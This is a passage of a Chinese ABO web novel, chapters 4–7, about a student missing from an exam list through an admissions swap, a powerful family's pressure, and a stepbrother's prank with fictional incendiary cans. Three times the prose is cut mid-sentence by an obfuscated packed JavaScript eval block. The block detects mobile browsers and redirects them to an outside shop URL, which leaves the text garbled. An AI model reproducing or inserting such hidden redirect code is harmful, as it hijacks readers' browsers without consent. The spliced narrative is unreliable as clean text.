“正常。”贺栩说:“每年首军大放榜都这样,交警知道这群人看完榜了就会撤,拥堵时间不长,所以懒得管。” “那为什么拖曹振春的车?” “因为他违停。”贺栩说。 “为什么只拖曹振春的车?” “我叫的呗。”贺栩晃了晃手机上的投诉页面,“我点评批评他。” 曲青然:“???” 虽说执法团队睁一只眼闭一只眼,但有人投诉举报就是另一码事,不想管也得管,曲青然被他这略显下作的手段震惊了,过了两秒才慢慢道:“你就不怕他狗急跳墙起来把你也给举报了。” “我又没有违停。”贺栩说。 他遥遥一点,巷子口拐角处居然真有一个车位,只是位置刁钻隐蔽,是葛家辉侧方五百次也侧不进去的程度,亏得贺栩居然能在这种车流密度下塞进一辆体积颇大的SUV,车技之老练精湛令人叹服,曲青然忽然就明白了他为什么早早让自己下车。 “看不出来你还是个良民!”他震撼道。 “还是热心的首都群众。”贺栩笑嘻嘻说。 曹振春的车驾照是这个月刚考的,车也是这个月刚提的,按照骆一白的说法这辆宝玛X7对于曹家的经济水平而言还是有点太勉强了,一家子最近啥社交应酬活动都不参加了,紧衣缩食全力还车贷。 这就难怪曹振春要那么吱哇乱叫的去追他的爱车,扣分是小事,罚款才是大事,给本就不富裕的曹氏家族雪上加霜。 曲青然张了张嘴,嘴唇没什么血色。 “不用说谢谢。”贺栩体贴道:“榜还看么?” “不看了。”曲青然木着脸说。 “那上车。”贺栩说。 一路无话。 曲青然的手指悬停在手机屏幕上,跟祁琛的聊天框敞着。 【我的努力不是小狗屁】:“榜上没有我的名字。” 对面一直没回,也不知道是看见了还是没看见。 贺栩扶着方向盘,余光微垂,“影响考试的因素有很多,没准填错答题卡了呢。” “不可能。”曲青然斩钉截铁:“我不会犯这种低级错误。” 真自负啊。 贺栩在心里啧啧,看热闹不嫌事儿大,“你要真有疑问,就打去考试办申请查分呗。” “可以吗?”曲青然猛地抬起头,眼底有火星子在跳跃。 贺栩心想你还真打算打过去查分啊。 每年多少落榜学子的人致电考试办,期待只是虚惊一场有奇迹发生,可最后得到的结果都是“核验结果无异常”。 分数这种东西对所有人都是平等的,却并非所有人都对自己的能力高低有清晰的认知。 而且考试办座机接电话又不花钱—— 贺栩嘲讽的话习惯性的浮到嘴边,戛然而停。 ...... “那么多人照着你写的答案估的分,一个人估准了那是凑巧,大家都准,说明你写的就是标准答案啊!” ...... “你说你霸榜那么多年有啥用?模拟考考的再高有啥用?屁用没有!” ...... 贺栩的眉峰蹙了蹙。 “可以啊,你网上搜考试办电话。”他舌尖一转改了口,补充道:“记得工作时间打过去,这帮坐办公室的都是卡点上下班。” - 圆形的旋转餐桌边,祁琛第三次想去摸手机,又被身边的人打断。 “安森哥,我想吃那个龙井烤鸡。” 韩闵敏的嗓音润润的,像淡水域里捞出来的粉珍珠,听起来总有点像撒娇。 祁琛刚开始不太习惯这种距离的社交,读书期间就算有人给他递情书,大家也会碍于学生的身份表现的羞怯内敛,从未有过谁像韩闵敏表现的这样......直白又大胆。 “把鸡腿夹给闵敏。”坐在圆桌对面的祁治廉嗔怪道:“我这个儿子就是木讷,脑子里只有学习工作,一点不懂得疼人。” 他身边坐着一个威严的中年男Alpha,是新调任的军政处秘书长韩平,拍了拍祁治廉的手臂笑:“老祁啊老祁,瞧你这张嘴,小祁优点也给你说成缺点,我看这样的小伙子才老实,可以托付呢!” 祁琛自知不必多话,起身要去夹鸡腿,却听韩闵敏笑道:“祁伯伯不用啦,我不吃鸡腿,皮太多油脂也多,容易长痘痘。” “又不是在家里,出来吃饭还挑三拣四,平时真是把你惯坏了。”韩平佯装生气,基调却还是宠溺。 韩闵敏双手交叠垫在下颌处笑眯眯道:“那你不要惯我就好了,让我去吃苦受罪,看你心不心疼!” 祁治廉抚掌大笑道:“老韩啊老韩,我要生个闵敏这样的儿子,星星月亮都摘给他。” 祁琛问服务生要了一副手套,将烤鸡逐一拆分,选了鸡胸的位置夹给韩闵敏。 “谢谢安森哥。”韩闵敏说。 他生了一张清纯甜美的脸,再加上家中富养,唇红齿白气色极好,用餐的动作不紧不慢,餐巾叠放在恰到好处的位置,优雅,实在是优雅。 祁琛却冷不丁想起了曲青然,那小子吃炸鸡外卖的时候最喜欢啃顶端的脆骨,“嘎嘣嘎嘣”的尤其带劲,有一回还非要给自己表演什么“深渊巨口”,想要一口吸入一只手枪腿,结果给自己颞下颌关节整卡壳儿了,好几天嘴都闭不严实。 一点儿形象也不要啊......祁琛轻轻笑了一声。 韩闵敏转眸疑惑道:“你笑什么?” “没什么。”祁琛抿唇起身,悄然将手机滑进手掌心,“我去上个洗手间。” 这场饭局的性质祁琛看的很明了。 祁治廉在教育部任职的时间够久了,需要更近一步,此时调任军政处的韩平无疑是老祁最需要打点的人脉。 所以无论老祁说什么他身为儿子都不会拆台,祁琛去到走廊尽头,摸出手机,未读消息有十几条。 他没有一一点开,而是找到那个熟悉的对话框。 【曲青然】:“榜上没有我的名字。” 祁琛微微瞪大双眼,感到不可思议。 Anson祁:“会不会看漏了?我有空带你再去看一次。” 对面回的很快。 【曲青然】:“不用了,真的没有。” 【曲青然】:“我打算给考试办打个电话,问问他们什么情况。” 考试办? 祁琛犹豫了一下,倒是没想到这一处,他正在思考要怎么回复曲青然,不远处传来一声娇俏的“安森哥”。 韩闵敏背着手缓步走来。 “你不是去洗手间了吗?这么快就上完了?” “嗯。”祁琛说:“打算回去了。” “不急不急,正好我也要去,你带我去吧,我都不知道洗手间在哪儿。”韩闵敏三步并作两步上前,挽住他的胳膊,亲昵的笑道:“以后我们在首军大可以天天这么一起上学放学。” “你也去首军大?”祁琛感到一瞬间的诧异,“你不是一直在M国读的书么?” “是啊,我初高中都在M国,但是后来我妈去世了,我爸就说Omega以后还是离家近一点儿比较好,舍不得我吧,正好今年赶上统考录取的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358014|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候了,就给我在医学院弄了个就读名额。”韩闵敏说。 “弄?”祁琛迟疑道:“不用参加统考吗?” “不用,我爸说直接拎包入学。”韩闵敏进了洗手间,隐隐可以听见他细细的声音传出来,“名额还是祁伯伯弄来的呢,我以为你知道。” 祁琛没应声,脑海里在跑走马灯。 他高中上的是首军大创办的少年班,里面都是竞赛拿奖的考试尖子,卷的风起云涌。 多年来,他见惯了无数莘莘学子题海战术挑灯夜读,春夏秋冬几无懈怠,带毕业班的老师白头发都比普通人要多许多,最常挂在嘴边的话语振聋发聩。 ...... “学海无涯苦作舟,国家需要的是你们这些有真本事的栋梁之才。” ...... 这样的台词与适才韩闵敏的话语重叠,格格不入,祁琛只觉得恍惚,喃声道:“为什么是医学院?” “我爸既然要给我那肯定要给最好的,不然还不如给钱让我在M国逍遥呢。”韩闵敏从洗手间里出来,用带着香味的湿巾纸细细擦拭指尖,懒洋洋道:“帝国现在最热门的不就是军官和军医吗,我当然不可能去服兵役,那是ALpha的舞台,就混个编制以后坐坐办公室,结了婚生了孩子还能多花点时间在家里。” 说完他拉着祁琛往回小跑:“走吧,你爸跟我爸肯定都等急了。” 回到包厢,祁治廉眉头微皱道:“怎么去这么久?” 祁琛刚要说话,就听韩闵敏软声道:“祁伯伯,是我跟安森哥在外面聊了会儿天。” “哦。”祁治廉面色稍霁,莞尔道:“聊什么了?” “我跟他说我要去首军大念书的事情。”韩闵敏说。 “哦对,安森,我把闵敏的学籍调到医学院了,以后是你的学弟,你要多照应他。”祁治廉说。 “每年首军大各专业招录的名额不都是固定的么?”祁琛忍不住道:“你怎么能......” “这点小事我还是能摆平的。”祁治廉点燃了一根雪茄,又给韩平借了火,“高希霸,尝尝。” “安森太年轻,少见多怪。”韩平哼了一声发笑,“你们国安专业今年不也进了个插班生?” 祁琛:“你说贺......他不一样,他参加的是境外特招再加上家里——” “说白了还是家里操作。”韩平粗暴的打断他,不以为意道:“小祁,你以后上去了就会知道这是个人情社会......” 祁治廉投来警告的目光,祁琛张了张嘴,陷入沉默。 “好啦好啦,听你们这些老古董说教就头晕。”韩闵敏噘嘴道:“我要先走了,安森哥你开车送我。” “去吧去吧,就知道嫌弃爸爸。”韩平嗔怪说。 韩闵敏吐了吐舌头,拉着祁琛亦步亦趋的离开包厢。 “我爸说话就那样,直A癌,你不要放在心上。” 走在外面的小路上,韩闵敏背着手一蹦一跳,祁琛走在他后面,一语不发。 “我知道你觉得我不参加考试就被录取会影响统考的公平性,但每年参加统考有那么多人呢,我就占一个名额,不会有太大影响的。”韩闵敏一直用余光瞟他,温言细语道:“而且我顶替掉的那个人是个傻瓜蛋。” “怎么说?”祁琛道。 “他抄答案都不知道改一改,居然抄出一个满分试卷,统考的试卷做满分,那让出卷人的脸面往哪儿搁?想也知道有猫腻啊!所以祁伯伯当时就把那份试卷直接筛出去了。”韩闵敏说。 说到这里,他还怪骄傲的,拉住祁琛的手臂晃了晃,“不要板着脸啦,想想看我顶替了一个违反考试纪律的老鼠屎,也算是为广大莘莘学子除害了,对吧?” 5. 第 5 章 “......” 祁琛定定的看他,嘴巴翕张,第一次体会到什么叫做“槽多无口”。 他十多年来树立的“天道酬勤”的三观在这一刻出现了裂纹,过了许久才慢慢道:“也许世界上就是有这样天资卓绝的人。” “会有吗?”韩闵敏歪着脑袋说:“我不信。” “我朋友就是。”祁琛回答的很快:“他很聪明,也很努力,这两天在等成绩出来。” 韩闵敏细长的眉峰忽而上挑。 他挽着祁琛的动作松了几分,“关系很好的朋友?” “嗯。”祁琛尚无所觉。 韩闵敏眯眼道:“你刚刚回消息的就是他吧?” 像是被机敏的蛇攀缠上后背,窜上一片冰凉,祁琛望着他棕色的瞳孔,只觉得平静的水面下漩涡泛起,Omega甜美的面容温柔不再。 “不好意思,我可能没办法——” “你是想说你临时有事情,没办法送我回去么?”韩闵敏的手背在身后,唇角上扬,“安森哥,你别忘了,你之所以能提前离开那个讨人厌的饭局是托我的福,现在你是打算鸟尽弓藏,把我一个人扔在大街上吗?” 祁琛:“我会替你叫车——” “我从不坐外面的这些车。”韩闵敏面色一沉,出其不意的上前逼近,迫使祁琛微微后退。 “我长这么大还没有谁敢这么对我。”韩闵敏倾身冷冷道:“如果我爸爸知道的话他会很生气很生气的。” 祁琛的呼吸渐渐急促。 饶是他教养斐然,可到底还是个Alpha,在被人......还是被一个Omega威胁时他本能的反感,想要驳斥与逃离。 “说出来你可能不信,我爸爱我爱的都疯魔了,之前有人送了他个度假村,位置在我出去旅游的驾驶路线旁边,我嫌风车太多,看得人眼睛疼就跟他抱怨了几句,结果第二天他就差人把整个村子都拆了,还是用爆破的,到现在还有个天坑在那儿不知道怎么填。”韩闵敏口气随意的仿佛在说一件日常发生的琐事:“祁伯伯应该是知道我爸爸很厉害才想跟他交朋友的吧,安森哥,祁伯伯花了这么多钱和精力,你也不想他最后被我爸爸拉进黑名单吧,对不对?” 祁琛哑然。 一阵风刮过耳畔,“呼呼”作响。 ...... “你们是什么人!!不要动我的东西!!” “为什么要翻柜子!!为什么要封我们家的门!!” “放我进去!!我要回家!!我爸爸呢?我爸爸在哪里!!我要见我爸爸!!” ...... 呼之不应。 无数穿着制服的人闯进来,将他和母亲驱逐出去,家具被搬空,房屋被贴上封条,亲戚们像约好了一样删除了联系方式,他与母亲被迫远离本来熟悉的生活环境,去到陌生的城市,没有朋友没有家人没有定所,对着日日消耗的存款,浸泡在没有尽头的惴惴不安里。 直到祁治廉被放出来。 一年多,祁琛不明白为什么一个什么都没有做的人会被“调查”这么久,他后来问起祁治廉,祁治廉只苦笑着摇头,对他说:站的不够高。 站的不够高,脏水就会从上面泼下来。 也是经过那一遭,祁治廉开始疯了一样经营人脉,迅速向上爬,从一个普通的学者爬到政教处,校长室,教育部......祁琛知道父亲比他和母亲还要不欲昔日重演,那种吉凶未卜的恐怖与一落千丈的萧条是祁家所有人一辈子悬于头顶上的达摩克利斯之剑。 所以此刻,面对韩闵敏,这个军政处秘书长的掌上明珠,即便他再有异议,也不能表达。 韩闵敏望着眼前这个儒雅俊美的Alpha。 来到首军大之前他就听说过祁琛的名号,这个去年以优秀成绩考入战役设计专业的Alpha拥有良好的家世,高等级的信息素基因,出众过人的外貌,最重要的是,恋爱经历为零。 这在韩闵敏看来简直是国宝级别的恋爱对象。 起初他还不信,怎么会有优秀的Alpha没有恋爱经历,后来着意打听了才知道原是因为专心学业事业无暇分心,是个实打实的禁欲男神。 韩闵敏直呼捡到宝了。 他长这么大一直要什么有什么,对于Crush更是志在必得,韩闵敏从来没有质疑过自己的客观条件,虽然祁琛表现出一点心有旁骛,但韩闵敏不觉得这是什么大问题。 他手上带着一串和田玉,数颗莹白温润的玉珠串里有一颗镶金的红玛瑙,韩闵敏在背后悄然拨了拨纯金的芯子,看见祁琛绞拧的浓眉隐隐舒展开来。 是清甜的橙花的味道。 祁琛的呼吸稍有停滞,旋即感觉大脑有如过电般,心脏加速泵血,耳根和脖子都迅速热起来。 他用力眨了一下眼再看韩闵敏,只觉得对方的嘴唇红艳艳的,十分饱满。 “安森哥,你真的真的打算,把我一个人扔在路边么?”韩闵敏委屈的说。 水润的嘴唇一开一合。 浑身的血液都涌入扩张的脑血管,祁琛感觉名为“厌恶”的情绪被短暂的冲淡,让他没那么坚决了。 “你朋友的事情真的这么这么这么重要?多等一刻也不行么?”韩闵敏说。 Omega语调的重音安排的煞是巧妙。 祁琛抬手撑住了额头。 “算了。”他做了几个深呼吸,反握住韩闵敏的手臂,略显匆忙,“我先送你回去。” 韩闵敏被他拉的一个趔趄,笑意却浮上眉梢,他迅速将手腕上的抑制环复位,俏皮道:“爱你哦安森哥。” - 曲青然翻了翻手机,与祁琛的对话就这么没头没尾的断了。 忙碌如祁琛来不及回消息也正常,他轻轻叹了口气,对贺栩说:“我下车了,今天谢谢你。” “加个V信。”贺栩说:“有事好联系。” 经过这一遭,曲青然看贺栩倒也没那么碍眼了,没有拒绝,二人短暂道别。 后视镜里,少年清瘦的背影渐行渐远,贺栩盯着看了一会儿,歪了歪头,脚踩油门。 他带上耳机,接通来电,对方道:“闲事管完了?” “也不算闲事吧。”贺栩说:“助人为乐。” “以前也没见你这么好心。”对方说:“现在准备回家赴鸿门宴?” “不见得有饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358015|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃。”贺栩说。 “还挺有自知之明。”对方说:“小心点,按照短剧的走向你弟跟你后妈应该在给你准备下马威了。” “你还是轻敌了。”贺栩余光瞟了眼后视镜,“早就来了。” SUV汇入车流,驶向明都以西的别墅区,一架小小的无人机“嗡嗡”盘旋于上空,与suv同步前进。 那厢,欧式风格的独栋别墅内二层露台上,男生翘腿捧着平板,眯眼看着监视屏。 他长了一张略宽方的面孔,单眼皮,若非穿着一身名潮牌,丢进人群里立刻就会消失不见。 屏幕内居中的正是贺栩的车,镜头焦段十分优秀,将整辆车乃至贺栩的脸都拍的很清楚,男生望着那张与自己有五分相像但却显然是中了基因彩票的帅脸,冷冷哼了一声。 他拿起手边的对讲机按了一下,电话里传来管家的声音,“少爷。” “让你放的东西都放好了么?”贺凡问。 “放好了,就是不确定物业的看见了会不会报警啊。”管家有些为难的说,“而且万一伤到人......” “怕屁啊,物业不是靠我们家养这么?分不清大小王了你!”贺凡说:“就你话多。” 他气哼哼的挂断电话,适逢一个贵妇人从屋内走出,端着一盘切好的草莓,用银叉叉了喂到贺凡嘴里。 “大下午的,什么事这么激动?”梁意如问。 “这不是我大哥要来了嘛。”贺凡不怀好意道:“我高低要送他一份见面礼,让他知道谁才是这个家的主人。” “这种显而易见的事情还需要证明吗?”梁意如用做了水钻美甲的嫩白手指叉草莓吃,面无表情的眺望着远处的雕塑喷泉,“一个乡下村姑生的私生子,基因等级不知道有多差,如果不是你爷爷自作多情抬举他,估计一辈子都没机会到明都来。” “是啊,你说爷爷图啥?咱们一家三口过的好好的,非要把大哥摇过来,还安排进首军大,这不吃饱了撑的吗?”贺凡皱眉道。 “因为你爷爷不是个省油的灯,看不得我们一家过得好。”梁意如冷笑,注射了玻尿酸的饱满红唇扬起锋利的弧度,“不过无所谓,随他怎么折腾,一把岁数了还能活几天啊,一个低等A在明都这样的名利场里能掀起什么风浪?不被人吃干抹尽咬碎骨头就算好的了,他能考进来是他运气好,但他不会一辈子运气都这么好。” 贺凡趾高气昂的“嗯”了几声,忽然激动的高举平板:“哎妈你看!他中招了耶!!” 画面中央,SUV在发出了“轰”的一声巨响之后猛地停住,前轮被提前安好的钉板扎穿,肉眼可见的干瘪下去。 骤然收紧的安全带狠狠抽在胸口,差点儿没给贺栩肋骨勒断。 他皱了下眉,有些无语的望着疯狂报错的中控台。 “怎么了?发生什么事了?”电话那头的人追问道。 “没事。”贺栩慢悠悠的把车熄火,摇下车窗,换了个舒服的姿势坐,“轮胎爆了。” “你那车不是装甲车改装的吗?在市区开也能爆胎??” “古来刺杀以摔杯为号。”贺栩趴在车窗上向外看,不以为意道:“看来这是宣战了。” 6. 第 6 章 “铁子你别这么说话,我听着心里怪慌的。” 电话那头的人挂断语音改打视频,贺栩调了下相机视角,让他第一人称沉浸式感受现场。 “我嘞个豆!”对方一眼看见车窗外花圃边的异物就发出了惊叫,“这不是K105式燃烧/弹吗?你弟疯了吧!在自家小区埋燃烧/弹???不是,他从哪儿弄来的啊!” “母鸡啊。”贺栩施施然开门下车,平铺直叙道:“K105的优点是外形袖珍,易拉罐式的设计看起来跟可乐瓶几乎一模一样,携带和埋布都不易被发现。” “优点说完了,缺点呢?” “身为兵器的话剩下来的全是缺点,比如不能远程遥控,拉环操作繁杂容错率低,燃烧威力堪比一捆成年火柴,最神奇的是它三个一摞放在一起时会形成特殊的消磁矩阵,定时点火装备会失效。”贺栩说:“我记得那年在M谷有个傻子囤了一千个K105结果在交易所门口摆摊送人都没人要,后来怎么着来的?” “后来他放弃盈利了,打算用来报复仇家自费买个痛快,在仇家出门的必经之路上设了埋伏,嘿!您猜怎么着!百来斤的货就烧了四分五十秒!四分五十秒!连特么公路上的象粪都没烧完!仇家开车路过以为是印第安人在跳篝火舞,拍照发朋友圈置顶了一个月!” “后续竟然是这样的,仇人听完都释怀了。”贺栩惊讶道:“你怎么知道的这么清楚?” “废话!”对面怒吼道:“因为那个傻子是我!!” 贺栩:“。” 贺栩:“这么巧,何意味?” 对面:“滚!!” 贺栩:“所以说K105的布阵数量决不能是三的倍数。” 他用目光草草点了一圈,“一,二,三。” - “这车看着也不怎么高端。”梁意如眯眼细看,啧啧道:“报废了也损失不了几个钱。” “妈你不懂,重要的不是弄坏他的车!是要让他下车!”贺凡满脸都是恶作剧即将得逞的兴高采烈,“只要他一下车!我埋的一圈燃烧/弹就能把他衣服全烧光!” “你在小区里燃烧/弹?你疯啦!”梁意如震撼道。 “放心,是我问兵器设计专业的人要的边角料,威力没那么强,而且花坛不是有喷淋系统嘛!到时候把他喷成落汤鸡,让他在街上裸奔!”贺凡手舞足蹈:“看他还有脸在明都混么!” “那可是军用武器!他们怎么敢给你的啊!”梁意如不安道。 “那几个人是咱家慈善机构资助上学的穷鬼,我说他们要是不听话,机构就给他们断供,听到这话他们吓都吓死了,哪里敢说个‘不’字。”贺凡洋洋得意。 梁意如没接话,只是有些忧愁的回首看了一眼长到露台边缘茂盛成荫的百年梧桐。 “要让你爸知道了肯定得揍你,这不会把武警公安引来吧?” “K105号称是近三年来热武器设计史上最时髦的单品!上过好几回优秀毕设呢!跟卡口可乐的外形几乎一模一样!绝对不会被发现!”贺凡说。 “是那种没有拉环的可乐罐子吗?”梁意如讷讷道。 “怎么能没有拉环呢!”贺凡说:“那个拉环就是开关,拉掉燃烧/弹立马就会——” 他说着说着顿住,就看见一个红白配色的易拉罐从不知名的方位弹射进来,“滴溜溜”滚到露台一隅,与另一罐抵足而卧。 贺凡:“?” 两秒后—— “轰” 冲天的火焰将十几万一棵的法国梧桐燎成了火树银花,浓烟滚滚,报警系统与贺凡母子的尖叫声齐飞。 十几米开外,贺栩背靠在车门上,手里掂着仅剩的一个K105,像在玩儿一个真正的易拉罐,被过于炫目的火光灼的眯了眯眼。 “臂力惊人啊大侠。”电话里的人啧啧惊叹说:“三层高的距离还能这么精准投递。” “我以前可是沙滩棒球队的主投手。”贺栩说。 “也就是你胆子大,要是我,拉环脱落一点五秒内引燃我得吓死。” “铁球一秒能落下4.9米,声音能传到百米开外,光能在一秒之内走过三十万公里的距离,一点五秒能做很多事情。”贺栩说。 “谢谢,并没有感觉被安慰到。” “那你不适合搞军/火。”贺栩锐评。 “那咋了。”对面哼哼道:“早在那一年我就发毒誓,再碰军火生意我就是狗!” 那处火苗将熄,无数物业带着消防人员进进出出。 贺栩挂断电话,兀自下车修补轮胎,而后寻了个空地方停车。 一辆缤丽驶入小区,门开,走下来一个西装革履的中年男人,国字脸,眼角有些细纹,却依旧不掩俊朗风姿。 他扯了扯衣摆,听司机道:“老爷,那是咱家吗?着火了?” 贺潮生眉头紧皱,注视着那片几乎被烧秃的法国梧桐,沉声道:“你开车出去兜一圈。” “好的。”司机很识相,立马带着这辆比自己命都贵的豪车出去逃难去了。 打发了外人,贺潮生这才快步流星的往回走,边走边摸出手机来拨电话。 忽然间他停住,道路中央伫立着一个年轻男人,穿着皮夹克和牛仔裤,个头比他还要高一些,肩宽腿长,脸孔偏窄,五官却与他有七八分相像。 贺潮生的眼神像是被胶住了,眼前有个女人的模样一闪而过,鼻梁上有些许晒斑,笑起来的模样却如同盛放的桔梗,清纯娇媚,近在咫尺。 “阿栩?” 他微有恍惚。 贺栩也凝眸。 说来奇怪,在收到回家消息时他的内心并没有什么波动,本以为这种平静的状态会一直持续下去,毕竟二十多年都未曾拥有过的东西在大脑中连概念不曾生成,自然也不会惦记。 可现在,那活在言语中的人物倏然活生生的站在眼前,好像在照一面岁月弥久的镜子,他不禁想起母亲以前每次多喝两口醉人的朗姆,就会点着他的鼻子打趣儿说“你的眉眼跟你爸爸简直一模一样”,竟不是在夸大。 贺栩捏了一下拳头,感觉身体看不见的某处被噬空,他淡声道:“老爸。” 贺潮生的表情又有一瞬间的恍惚,像是刚学会怎么用舌头,“你......都长这么大了。” “是啊。”贺栩说:“我发育的还不错吧!” 贺潮生:“……” 贺栩说完也有点无语住了。 他没有过这种经历,不知道这种时候产生什么样的主观情绪算是合理,只能用客观陈述事实去填补聊天的空白,至少不至于冷场。 贺潮生微露尴尬之色,不可否认,眼前这个身高近一米九要什么有什么的大帅哥发育完成度惊为天人,但一想到这份完成度良好的项目二十余年来自己没有半点参与度,他就不太笑得出来,遂有点儿干巴的扯了扯嘴角说:“挺好,挺好。” 相顾无言。 贺潮生忽然走近,在他臂弯上握了一下,又用力拍了拍,局促却有温度,“走,跟爸爸回家。” 回家。 贺栩一路上都在斟酌这两个字。 或许血脉之间自带默契,他们父子虽然多年未见但灵魂之中尚有感应,存在无形的羁绊牵连,这种感觉很奇妙,让人心里暖暖的,忍不住想要亲近。 父子亲情什么的……也不是不能尝尝咸淡—— 自己之前是不是太悲观了点? 贺栩撇嘴。 他腿长,不紧不慢的跟随贺潮生,很快就抵达了门户,铜金色的大门朝外敞开,从院子到玄关所有仆人都忙得不可开交,能腾出嘴来喊一声“老爷”已经是极限,贺潮生抓了几个人问情况,对方都支支吾吾的,贺潮生没办法只好继续往里走。 贺栩没人过问就这么丝滑进门,绕过中式的点翠屏风就是客厅,看起来有快二百平,一支医疗团队正在其中斡旋,真皮的L型沙发一隅是一个年轻貌美的贵妇人,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358016|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜷缩着嘤嘤哭泣,另一端则是个满脸烟熏黑的男生,正对着给他量血压的家庭医生发飙。 “这边燎出这么大的两个泡你看不见吗!还给我绑袖带!瞎啊!!” “哐”一声,他随手将放在茶几上的水晶烟灰缸拂到地上,重重砸了个粉碎,女医生被吓得脸色惨白,向后一撑跌坐在地上,连声道“少爷你别生气,身体要紧”。 贺栩站在那儿视角直观,看贺凡那无能狂怒的模样莫名的有点想笑,但他克制住了,唇角抿直。 “到底怎么回事!”贺潮生此刻已经顾不上他,低声吼道。 他这一吼,整间屋子活像被按下了静音键,生生消停了一秒多钟,旋即,梁意如像剧团里领头开场的重头戏演员,以一个身体与眼神成X型的高难度姿势自沙发上起身,婷婷袅袅又灵活顺畅的钻进了贺潮生的怀里。 “老公你终于回来了!!人家快要吓死了呜呜呜呜!” 贺潮生本是蓄了一肚子火,被梁意如这么娇滴滴的一哭倒是浇灭了大半, “行了,火不是都被扑灭了吗?别哭了。 ”他从管家手里接过抽纸替她擦眼泪,“好好的房子怎么会着火呢?” “都怪我,平常老是让阿凡多学点儿知识,他就问兵器设计专业的同学借燃烧/弹回家研究,谁晓得那些个乡下来的夯货一点儿数都没有,不告诉他使用方法,差点儿把家都烧没了。”梁意如抽抽噎噎道。 “就是啊老爸!!我差点死了!!”贺凡嚷嚷道:“这群人花着我们家的钱还害我!!老爸你不能不管啊!” “是啊老公,你的钱也不是大风刮来的,资助给他们真的好让人心疼啊!”梁意如说。 贺潮生蹙了下眉峰。 “行了,我听明白了,凡凡,你回头告诉陈秘书是谁,他会修改资助名单。” “不够不够。”贺凡撒娇耍赖说:“还要给他们处分,开除他们的学籍!” “就是,这些人上学跟没上一样,不如不上。”梁意如说。 “好好好都依你们,不闹了行不行?”贺潮生说。 “老爸最好了,你就是世界上最好的爸爸!”贺凡这才展开笑颜,起身去搬椅子,嘴里“哎哟哎哟”的,“老爸你坐,我给你捏捏肩,工作了一天辛苦了。” “瞧我们凡凡,手臂上有伤还要孝顺你,多好啊。”梁意如美眸一转,终于注意到了站在暗处的贺栩,“这位是——” “这是阿栩。”贺潮生的表情顿时不自然起来,“刚刚光顾着说话都忘记叫你坐下了,站的腿酸了吧——” “亲爱的你怎么回事呀,叫外人看笑话了。”梁意如娇滴滴的用手指戳他,“咱们家房子刚着火,安全隐患还没排除,哪里腾地出地方招待客人啊!” “就是就是,让他改天再来吧。”贺凡在一旁幸灾乐祸道。 贺潮生张了张嘴,目光扫向窗外,天色已经暗了下去,外面的景致模糊不清,于情于理,这都不是个适宜下逐客令的时辰。 遑论......贺栩还是他的亲儿子,千里迢迢来到明都。 这二十年他过得如何,其母亲又过得如何,他从未问过,也从来不敢细想。 他就像一个将头埋在沙子里的鸵鸟。 贺潮生的胸膛起伏不定。 然而另一边却是他相处十余年的真正的妻儿。 至亲至密。 这是一碗不可能端平的水。 贺潮生捏紧了紫油梨木的座椅把手。 梁意如与贺凡是真切陪伴在身边的,那些能摸得着看得见的亲情时光每一分每一秒都有重量,贺栩的出现不啻于是个重磅炸弹,将平静的池水搅浑,炸的飞溅,凌乱唐突,他还没想好要怎么给家庭一个交代。 对贺栩他固然有几分愧疚与想念,可若是要让梁意如母子伤心,闹得家庭四分五裂,还是大大的不值得。 “你还是先——” 他转头,启唇欲言,却发现贺栩人已经不在原处。 7. 第 7 章 贺栩从口袋里摸出一根烟点燃,吸了两口才想起自己“cos三号大学生”的计划。 抓紧又吸了两口,他掐灭烟头扔进垃圾箱,转头去车库开车。 被扎破的轮胎虽然修好了窟窿,但因为没打气,胎压不稳,贺栩就这么一路颠簸着开,中途他被系统报警吵得烦了,索性把音乐开到最大对着耳朵轰,直到一个电话拨进来。 对面震惊道:“什么鬼动静?” “你来得正好。”贺栩说:“帮我找个房子。” 对面愣怔了两秒,吃惊道:“老贺家在明都富豪榜上排前三,连个住处都不安排这对吗?” “这可太对了。”贺栩说。 他草草描述完贺宅里发生的大事件,对面的吃惊更上一层楼。 “你弟放火烧家这么大的事儿,在你爸那儿就这么轻轻揭过了?纯昏君呐!” “还是钱多。”贺栩说。 “......那套说辞怎么听都是破绽百出吧?” “你还以为我爸真会去现场勘察亲自审问?”贺栩想了想贺潮生当时的反应,“他不会的,你叫不醒一个装睡的人。” “你怎么没趁此机会告一状。”对面突发奇想说:“你可以直接去你家老爷子面前告状啊!张罗你回家的事情也有你家老爷子出的一份力,好歹以前是中央区总司令,他说一你爸跟你后妈不敢说二吧,打狗也得看主人呢。” “话糙理不糙,但你这话也太糙了。”贺栩无语。 